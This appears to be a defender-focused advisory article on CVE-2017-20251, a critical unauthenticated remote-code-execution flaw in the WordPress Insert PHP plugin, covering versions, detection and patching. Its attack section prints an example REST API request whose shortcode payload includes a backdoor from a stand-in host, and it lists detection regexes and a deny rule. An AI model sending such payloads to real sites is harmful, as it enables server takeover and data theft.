CVE-2017-20251: WordPress Insert PHP Plugin Vulnerability
| Field | Value |
|---|---|
| CVE ID | CVE-2017-20251 |
| CVSS score | 9.8 Critical |
| Attack vector | Network |
| Auth required | None |
| Patch status | Fixed in 3.3.1 |
TL;DR - Critical RCE in the WordPress Insert PHP plugin before 3.3.1. - Unauthenticated attackers can inject PHP via REST API post content. - Upgrade immediately or disable the plugin if still present.
What is CVE-2017-20251?
CVE-2017-20251 is a critical PHP code injection vulnerability in the WordPress Insert PHP plugin. According to the NVD description, the issue affects Insert PHP plugin versions before 3.3.1 and allows unauthenticated attackers to execute arbitrary PHP code by injecting malicious shortcodes through the WordPress REST API. The attack path described in the published references centers on crafted requests to the wp-json/wp/v2/posts endpoint.
Practically, this is a remote code execution problem in a WordPress environment where the plugin is installed and vulnerable. The exposed behavior is that attacker-supplied post content containing plugin shortcodes such as [insert_php] ... [/insert_php] or [php] ... [/php] can lead to PHP execution on the server. For defenders, that means this is not just content tampering. It can become full server-side code execution with follow-on risks including web shell deployment, credential theft, database access, lateral movement, and persistent reinfection.
Affected Versions and Fixed Version
The affected product is the WordPress Insert PHP plugin, referenced on WordPress.org under the insert-php slug and currently branded as Woody Code Snippets – Insert PHP, CSS, JS, and Header/Footer Scripts. The available vulnerability references consistently state that versions before 3.3.1 are vulnerable. The first fixed version identified in the source material is 3.3.1.
That version boundary matters operationally. If you are running any release earlier than 3.3.1, you should treat the site as exposed until proven otherwise. If you cannot quickly validate the plugin version from the WordPress admin interface, confirm directly on disk or via WP-CLI. In environments with poor software inventory, assume exposure if the plugin is present and version data is missing.
| Product | Affected versions | Fixed version |
|---|---|---|
| WordPress Insert PHP plugin | before 3.3.1 | 3.3.1 |
Technical Notes
Use WP-CLI to confirm whether the plugin is installed and which version is active:
wp plugin list --path=/var/www/html | grep -i "insert-php"
If you need to verify directly from plugin metadata on disk:
grep -E "Version:" /var/www/html/wp-content/plugins/insert-php/*.php
On some systems, plugin paths may vary. If the path is unknown:
find /var/www -type d -name "insert-php" 2>/dev/null
Why This Matters to Defenders
A CVSS score of 9.8 places this issue in the critical category, and the available description strongly indicates a worst-case web application compromise scenario. The combination of network reachability, no authentication required, and arbitrary PHP execution means internet-facing WordPress sites with the vulnerable plugin installed should be considered high priority for remediation. Even older CVEs remain operationally relevant if the software remains deployed in long-lived SMB, agency, or hosted environments.
For blue teams and administrators, the most important question is not whether the bug is old, but whether the vulnerable component still exists anywhere in the estate. WordPress plugin sprawl is common, especially on inherited sites and managed hosting accounts. If the plugin was ever used for code snippets or custom functionality, it may still be present even when site owners no longer remember it. Because exploitation can lead to code execution, defenders should pair patching with compromise assessment, not just version updates.
Exploitation Status
A public proof of concept exists. The research material cites Exploit-DB ID 41308, published in February 2017, showing a crafted HTTP POST request to the WordPress REST API with malicious shortcode content intended to trigger remote PHP inclusion and execution. That materially raises practical risk because public exploit guidance lowers the barrier for opportunistic attackers and scanners.
As for active exploitation, the available sources do not support a definitive claim that this CVE is currently confirmed as exploited in the wild by an authoritative catalog such as CISA KEV. The research note explicitly says CISA KEV status is false, meaning CVE-2017-20251 is not listed in KEV. The exploit references reporting of RCE attempts in the broader WordPress REST API vulnerability landscape at that time, but that is not the same as a present-day confirmed exploited designation for this exact CVE. Defenders should therefore state the situation precisely:
- Exploitation confirmed in the wild: Unknown from the provided primary sources.
- Public PoC exists: Yes, Exploit-DB 41308.
- Neither known: No, because a public PoC is known.
In the absence of authoritative exploitation telemetry, defenders should assume opportunistic scanning is plausible wherever the vulnerable plugin remains exposed.
How the Attack Works
The published description says attackers can send crafted POST requests to the WordPress REST API endpoint, specifically wp-json/wp/v2/posts, containing malicious shortcode payloads. The shortcode examples shown in the exploit material include include() calls that pull attacker-controlled PHP from a remote location. If the shortcode is processed by the plugin, the application may execute attacker-supplied PHP server-side.
From a defender perspective, the important mechanics are straightforward. First, the attacker finds a vulnerable WordPress site with the Insert PHP plugin installed in a vulnerable version. Next, they submit post content containing the plugin’s executable shortcodes through the REST API path described in the advisory. Finally, that content gets interpreted in a way that results in PHP execution. Whether the payload is a direct command stub, a remote include, or a dropped backdoor, the outcome is code execution in the web application context.
Technical Notes
Example payload structure from the public exploit references:
POST /wp-json/wp/v2/posts/1234 HTTP/1.1
Host: victim.example
Content-Type: application/json
{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php] include('http://evilhost.com/file/backdoor.php'); [/insert_php][php] include('http://evilhost.com/file/backdoor.php'); [/php]"
}
Red flags in request bodies include these patterns:
[insert_php]
[/insert_php]
[php]
[/php]
include('http://
include("http://
wp-json/wp/v2/posts
Detection and Compromise Assessment
Start with web logs and application-layer telemetry around the WordPress REST API. Specifically, look for unusual or unauthorized POST requests to /wp-json/wp/v2/posts and closely inspect request bodies where available. Because the exploit path involves malicious shortcode injection, any request body or stored content containing [insert_php] or [php] deserves investigation, especially if the source IP, user agent, or timestamp does not align with normal editorial activity.
You should also review post content in the WordPress database for shortcode abuse and signs of follow-on persistence. If exploitation succeeded, the shortcode may only be the initial foothold. Attackers commonly pivot to placing PHP backdoors in theme directories, plugin folders, uploads paths through secondary bugs, or writable cache directories. Check recently modified files, new administrator accounts, suspicious scheduled tasks, and unusual outbound connections from the web server.
Technical Notes
A simple log hunting approach with common access logs:
grep -E 'POST /wp-json/wp/v2/posts' /var/log/nginx/access.log /var/log/apache2/access.log*
Search for shortcode indicators in logs or captured bodies:
grep -R -E '\[insert_php\]|\[php\]|include\(.\s*http' /var/log/nginx /var/log/apache2 2>/dev/null
If you can query stored WordPress content from MySQL:
SELECT ID, post_date, post_status, post_title
FROM wp_posts
WHERE post_content REGEXP '\\[insert_php\\]|\\[php\\]|include\\(["'']http';
A concrete detection pattern for SIEM or WAF content inspection:
Request method: POST
AND URI path contains "/wp-json/wp/v2/posts"
AND request body matches regex "\[(insert_php|php)\].*(include|require)\s*\("
If your logs do not capture request bodies, treat any unexplained POST traffic to the affected REST endpoint as suspicious and expand to endpoint telemetry, file integrity monitoring, and database inspection.
Mitigation and Patching
The primary remediation is to upgrade the Insert PHP plugin to version 3.3.1 or later. Because the fixed version identified in the available references is 3.3.1, anything older should be considered vulnerable. If you are still using the plugin for legacy functionality, upgrade first and then validate that shortcode behavior still matches your intended use case.
If immediate upgrade is not possible, the best short-term mitigation is to disable the plugin until it can be updated or removed. Since this vulnerability can lead to unauthenticated code execution, temporary business disruption from removing snippet functionality is usually preferable to leaving the site remotely exploitable. As an interim control, you can also restrict access to the WordPress REST API posting endpoints where operationally feasible, but that should not be treated as a substitute for patching because partial controls are easier to misconfigure and may not address all exposure paths.
Technical Notes
Upgrade with WP-CLI:
wp plugin update insert-php --path=/var/www/html
If you need to explicitly install the fixed version and activate it:
wp plugin install insert-php --version=3.3.1 --force --activate --path=/var/www/html
Disable the plugin as a workaround if you cannot patch immediately:
wp plugin deactivate insert-php --path=/var/www/html
As a compensating control, you can restrict REST API post modification endpoints at the web server or WAF layer. Example NGINX deny rule for emergency use only, to be validated before deployment:
location ~* ^/wp-json/wp/v2/posts {
deny all;
return 403;
}
Use that only if you understand the editorial and application impact. Blocking the endpoint can disrupt legitimate content workflows and integrations.
What to Do Next
First, inventory all WordPress instances and identify whether the Insert PHP plugin is installed anywhere, especially in legacy or low-visibility sites. Confirm whether the deployed version is before 3.3.1 or 3.3.1 and later. If the version cannot be established quickly, assume risk and isolate or disable the plugin until verification is complete.
Second, pair remediation with incident response checks. Because a public PoC exists and the impact is server-side PHP execution, patching alone is not enough for internet-exposed sites that may have been vulnerable for some time. Review logs, search stored content for malicious shortcodes, inspect for modified PHP files, rotate WordPress and hosting credentials where warranted, and verify there are no unauthorized admin users or scheduled persistence mechanisms. If you find any evidence of suspicious REST API activity or injected shortcode content, move from patching to full compromise investigation.
For further reading, you can check our articles on what is an immutable log and MITRE ATT&CK framework.
References
| Source | URL |
|---|---|
| WordPress plugin page | https://fr.wordpress.org/plugins/insert-php/ |
| Exploit-DB entry | https://www.exploit-db.com/exploits/41308 |
| Exploit-DB raw PoC | https://www.exploit-db.com/raw/41308 |
| VulnCheck advisory | https://www.vulncheck.com/advisories/wordpress-insert-php-plugin-php-code-injection |
This article may contain affiliate links. We earn a commission on qualifying purchases at no extra cost to you.